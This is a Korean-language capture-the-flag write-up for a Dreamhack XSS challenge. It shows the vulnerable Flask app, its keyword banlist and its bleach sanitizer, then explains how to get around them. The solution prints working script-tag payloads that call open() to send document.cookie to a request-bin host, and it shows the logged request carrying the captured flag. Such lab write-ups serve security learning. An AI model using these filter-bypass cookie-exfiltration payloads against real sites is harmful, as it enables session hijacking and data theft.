문제 특징
XSS를 사용한 해킹 & 금지 태그 우회
난이도: Lv.2
카테고리: 웹해킹
문제 구조
문제파일구성
1
2
3
4
5
/
├── app.py
├── Dockerfile
├── requirements.txt
└── sanitizer.py
주요 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#app.py
banlist = ["`","'","alert(","fetch(","replace(","[","]","javascript","@","!","%","location","href","window","eval"]
@app.route('/test', methods=['GET'])
def test():
payload = request.args.get('payload')
if payload is None:
return "show your payload!"
payload = payload.lower()
if any(banned in payload for banned in banlist):
payload = "Nope!"
input = sanitize_input(payload)
return f"{input}"
@app.route('/flag')
def report():
uanswer = request.args.get('answer')
result = read_url(f'http://127.0.0.1:5000/test?payload={uanswer}')
message = "Success" if result else "Fail"
return message
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# sanitizer.py
import bleach
ALLOWED_TAGS = ['script'] #I only love script tags!
ALLOWED_ATTRIBUTES = {}
ALLOWED_PROTOCOLS = ['http', 'https']
def sanitize_input(user_input: str) -> str:
return bleach.clean(
user_input,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
protocols=ALLOWED_PROTOCOLS,
strip=True,
strip_comments=True
)
이 문제는 xss-2,XSS_Filtering_Bypass문제와 매우 유사한 문제이고, XSS_Filtering_Bypass 문제보다 더 다양한 필터가 존재하는것을 확인할 수 있다.
또한 이전 문제와는 달리 메모가 존재하지 않아, 다른 방식을 활용해 플래그를 탈취해야 한다.
그리고 bleach 라이브러리를 사용하여 sanitize_input()이라는 함수를 만들고 input = sanitize_input(payload)이 작성되어 XSS 스크립트를 오로지 <script>태그만을 사용하여 문제를 풀도록 되어있다.
XSS가 무엇인지 궁금하다면 XSS-2문제를 먼저 확인하자.
풀이
필터에 유의하여 페이로드 작성하기
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
banlist = ["`","'","alert(","fetch(","replace(","[","]","javascript","@","!","%","location","href","window","eval"]
def test():
payload = request.args.get('payload')
if payload is None:
return "show your payload!"
payload = payload.lower()
if any(banned in payload for banned in banlist):
payload = "Nope!"
input = sanitize_input(payload)
return f"{input}"
이 문제는 payload.lower()함수로 인해 입력한 페이로드를 모두 소문자화하기 때문에, 페이로드를 대문자로 작성하여 필터링을 우회하는 방법을 사용하기는 어렵다.
또한 memo와 같이 내부 서버에서 웹사이트에서 데이터를 수정할 수 있는 명령어가 없기 때문에, 외부 서버를 활용하여 문제를 풀어주어야 한다.
드림핵 툴 Request Bin 활용하기
드림핵의 Request Bin 툴을 사용하면, 드림핵 툴에서 임의로 웹 주소를 하나 만들어주게 된다. 이때, 해당 주소에 요청을 보내게 되면, 드림핵의 Request Bin 도구에서 어떤 요청이 왔었는지 조회할 수 있게 도와준다. 따라서 우리는 Request Bin도구를 활용하여 해킹하고자 하는 서버의 어드민이 ‘플래그와 함께’ 이 주소로 요청을 보내도록 만들어주어야 한다.
페이로드
1
드림핵 서버 주소:포트/flag?answer=<script>open("http://ogwvzgn.request.dreamhack.games/?c=" + document.cookie)</script>
open()함수는 window.open() 을 생략한 함수로, 원래는 파라미터 속 주소에 대한 창을 새로 띄우는 함수이지만, 창을 띄우는 동시에 GET요청을 보낸다는 특징을 이용해 필터에 의해 사용하지 못하는fetch()함수의 대체재로 사용한다.
문제 발생
이때, 페이로드 속에 작성되어있는 기호 + 에서 문제가 발생하였다. HTML의 application/x-www-form-urlencoded 인코딩 방식에 의해서 나의 브라우저가 + 기호를 공백 취급하면서 GET요청을 보내게 된다.
이 문제를 해결하기 위해 +라는 기호를 사용하는 대신 .concat()이라는 함수를 사용하여 + 기호의 역할을 대신해주어야 한다.
수정된 페이로드
1
드림핵 서버 주소:포트/flag?answer=<script>open("http://ogwvzgn.request.dreamhack.games/?c=".concat(document.cookie))</script>
정답 확인
드립핵의 Request Bin 도구로 돌아와 요청을 받은 기록을 확인하면
1
2
3
4
5
6
7
8
Client IP
000.000.000.000
Method
GET
Path
/
Query String
c=flag=4TH3N3{You_love_xss_too_dont_you?}
위와 같이 플래그와 함께 GET요청이 날아온 것을 확인할 수 있다.
정답
4TH3N3{You_love_xss_too_dont_you?}